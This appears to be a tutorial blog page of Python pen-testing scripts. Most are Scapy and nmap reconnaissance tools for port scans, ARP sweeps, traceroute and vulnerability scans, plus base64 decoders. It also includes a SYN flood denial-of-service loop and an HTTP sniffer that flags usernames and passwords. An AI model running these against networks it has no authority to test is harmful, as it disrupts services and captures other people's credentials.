top of page

python for pen testing part ii

Disclalimer: do not use these scripts to scan anybody else's network, again create your own lab! Also I forgot; I am assumming that you know at least the basics on Python, if not take a course, there are a lot, just google it.

​

# this script works scapy port scan
#Performing a Port Scan

from scapy.all import *

# Target IP address
target_ip = "127.0.0.1" # replace with your own IP address or hostname

# List of ports to scan
ports = [21, 22, 80, 443, 8080]

# Perform SYN scan
for port in ports:
    packet = IP(dst=target_ip)/TCP(dport=port, flags="S")
    response = sr1(packet, timeout=1, verbose=0)
    if response:
        if response[TCP].flags == "SA":
            print(f"Port {port} is open.")
        elif response[TCP].flags == "RA":
            print(f"Port {port} is closed.")

******************************************************************************************************

#DNS query

from scapy.all import *

# Craft a DNS query packet
packet = IP(dst="8.8.8.8")/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname="www.jamppharma.com"))

# Send and receive the packet
response = sr1(packet)

# Print the answer section of the DNS response
response[DNS].summary()

******************************************************************************************************

​

# simple network monitor that watches for ICMP packets:

from scapy.all import *

def packet_callback(packet):
    if packet[IP].proto == 1:  # ICMP protocol
        print(f"ICMP packet from {packet[IP].src}")

sniff(prn=packet_callback, filter="icmp", store=0)

#################################################################

# ARP ping to discover hosts in your network:

from scapy.all import *

# Define the target subnet
target_subnet = "192.168.1.0/24"

# Send ARP requests
answered, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=target_subnet), timeout=2, verbose=False)

# Print out the list of discovered hosts
for sent, received in answered:
    print(f"Host Up: {received.psrc} MAC: {received.hwsrc}")

*******************************************************************************************************

# Traceroute

from scapy.all import *

# Perform traceroute
result, _ = traceroute(["www.jamppharma.com", "www.google.com"], maxttl=20)

# Display the result
result.show()

********************************************************************************************************

# SYN Flood Attack /Do not execute on any network unless it is your own, this is for educational purposes only

from scapy.all import *

# Target IP address and port
target_ip = "192.168.1.1"
target_port = 80

# Flood the target with SYN packets
for i in range(1000):
    send(IP(dst=target_ip)/TCP(dport=target_port, flags="S"), verbose=False)

*********************************************************************************************************
# capture packets from the network

from scapy.all import *

def packet_callback(packet):
    print(packet.show())

def main():
    sniff(prn=packet_callback, count=10)  # adjust count as per your need

if __name__ == "__main__":
    main()

*********************************************************************************************************

# filters for HTTP packets
from scapy.all import *

def packet_callback(packet):
    if packet[TCP].payload:
        mail_packet = str(packet[TCP].payload)
        if "user" in mail_packet.lower() or "pass" in mail_packet.lower():
            print(f"\n\n[+] Possible username/password > {packet}\n\n")

def main():
    sniff(filter="tcp port 80", prn=packet_callback)

if __name__ == "__main__":
    main()
***********************************************************************************************************
# Deobfuscating tool:

​

Prompts for deobfuscating file

import base64

def deobfuscate_base64(file_path):
    try:
        with open(file_path, 'r') as file:
            obfuscated_content = file.read()
            decoded_content = base64.b64decode(obfuscated_content).decode('utf-8')
            print("Deobfuscated Content:")
            print(decoded_content)
    except FileNotFoundError:
        print("File not found. Please enter a valid file path.")

# Prompt for file path input
file_path = input("Enter the file path of the obfuscated file: ")

# Deobfuscate the file
deobfuscate_base64(file_path)

***********************************************************************************************************

Deobfuscating a string

import base64

# Obfuscated base64-encoded string
obfuscated_string = "SGkgQWNoYW1waW9uLCBJIGxvbmcgdGhhdCB3aXRoIHRoZSBjb2RlIGlzIG9iZnVzY2F0ZWQsIHdvdWxkIHN1Y2Nob3JlIHNvbWV0aGluZyBhbmQgZGVjb21wZXNlZCB0aGF0IGFzIHRoYXQgaXMgdGhlIG9ubHkgYmVzdCBvZiByZXZlcnNlIGVuZ2luZWVyaW5nIGJ1dCBhIGJpdCBvdmVyLg=="

# Deobfuscate and decode the base64-encoded string
decoded_string = base64.b64decode(obfuscated_string).decode('utf-8')

# Print the deobfuscated string
print("Deobfuscated String:", decoded_string)

​

#there is a way for you to ask a user to input the hash, code64 or the string, I will leave it up to you to find out how to do it.

***********************************************************************************************************

​

​

Here are a few more:

​

import base64

# Prompt for base64-encoded string input
obfuscated_string = input("Enter the base64-encoded string: ")

# Add padding characters if needed
padding_len = len(obfuscated_string) % 4
obfuscated_string += '=' * (4 - padding_len)

try:
    decoded_string = base64.b64decode(obfuscated_string).decode('utf-8')
    print("Deobfuscated Base64 String:")
    print(decoded_string)
except UnicodeDecodeError:
    try:
        # Try decoding with 'ascii' encoding
        decoded_string = base64.b64decode(obfuscated_string).decode('ascii')
        print("Deobfuscated Base64 String (ASCII):")
        print(decoded_string)
    except base64.binascii.Error as e:
        print("Error deobfuscating the string using base64 method:", e)
    except Exception as e:
        print("An error occurred:", e)
except base64.binascii.Error as e:
    print("Error deobfuscating the string using base64 method:", e)
except Exception as e:
    print("An error occurred:", e)

***************************************************************************************
# nmap -sS, -sV, -O, -sT, -sU, -sY, -sA, -sW


import nmap

ip = input("Enter the IP address: ")

# Initialize Nmap PortScanner
nm = nmap.PortScanner()

# Perform different Nmap scans
print("\n--- Nmap Scan Results ---")

# -Pn --script vuln
print("\n[+] Running Nmap scan with vuln script...")
nm.scan(hosts=ip, arguments="-Pn --script vuln")
print(nm.csv())

# -sS
print("\n[+] Running Nmap TCP SYN scan...")
nm.scan(hosts=ip, arguments="-sS")
print(nm.csv())

# -sV
print("\n[+] Running Nmap service version scan...")
nm.scan(hosts=ip, arguments="-sV")
print(nm.csv())

# -O
print("\n[+] Running Nmap OS detection scan...")
nm.scan(hosts=ip, arguments="-O")
print(nm.csv())

# -sT
print("\n[+] Running Nmap TCP connect scan...")
nm.scan(hosts=ip, arguments="-sT")
print(nm.csv())

# -sU
print("\n[+] Running Nmap UDP scan...")
nm.scan(hosts=ip, arguments="-sU")
print(nm.csv())

# -sY
print("\n[+] Running Nmap SCTP INIT scan...")
nm.scan(hosts=ip, arguments="-sY")
print(nm.csv())

# -sA
print("\n[+] Running Nmap ACK scan...")
nm.scan(hosts=ip, arguments="-sA")
print(nm.csv())

# -sW
print("\n[+] Running Nmap window scan...")
nm.scan(hosts=ip, arguments="-sW")
print(nm.csv())

**********************************************************************************************

#nmap tools working verbose

import subprocess

ip = input("Enter the IP address: ")

# Perform different Nmap scans
print("\n--- Nmap Scan Results ---")

# -Pn --script vuln
print("\n[+] Running Nmap scan with vuln script...")
result = subprocess.run(['nmap', '-Pn', '--script', 'vuln', ip, '-v'], capture_output=True, text=True)
print(result.stdout)

# -sS
print("\n[+] Running Nmap TCP SYN scan...")
result = subprocess.run(['nmap', '-sS', ip, '-v'], capture_output=True, text=True)
print(result.stdout)

# -sV
print("\n[+] Running Nmap service version scan...")
result = subprocess.run(['nmap', '-sV', ip, '-v'], capture_output=True, text=True)
print(result.stdout)

# -O
print("\n[+] Running Nmap OS detection scan...")
result = subprocess.run(['nmap', '-O', ip, '-v'], capture_output=True, text=True)
print(result.stdout)

# -sT
print("\n[+] Running Nmap TCP connect scan...")
result = subprocess.run(['nmap', '-sT', ip, '-v'], capture_output=True, text=True)
print(result.stdout)

# -sU
print("\n[+] Running Nmap UDP scan...")
result = subprocess.run(['nmap', '-sU', ip, '-v'], capture_output=True, text=True)
print(result.stdout)

# -sY
print("\n[+] Running Nmap SCTP INIT scan...")
result = subprocess.run(['nmap', '-sY', ip, '-v'], capture_output=True, text=True)
print(result.stdout)

# -sA
print("\n[+] Running Nmap ACK scan...")
result = subprocess.run(['nmap', '-sA', ip, '-v'], capture_output=True, text=True)
print(result.stdout)

# -sW
print("\n[+] Running Nmap window scan...")
result = subprocess.run(['nmap', '-sW', ip, '-v'], capture_output=True, text=True)
print(result.stdout)

​

​

​

​

  • Facebook - Black Circle
  • Twitter - Black Circle

© 2023 by IT SERVICES.  Proudly created with Wix.com

bottom of page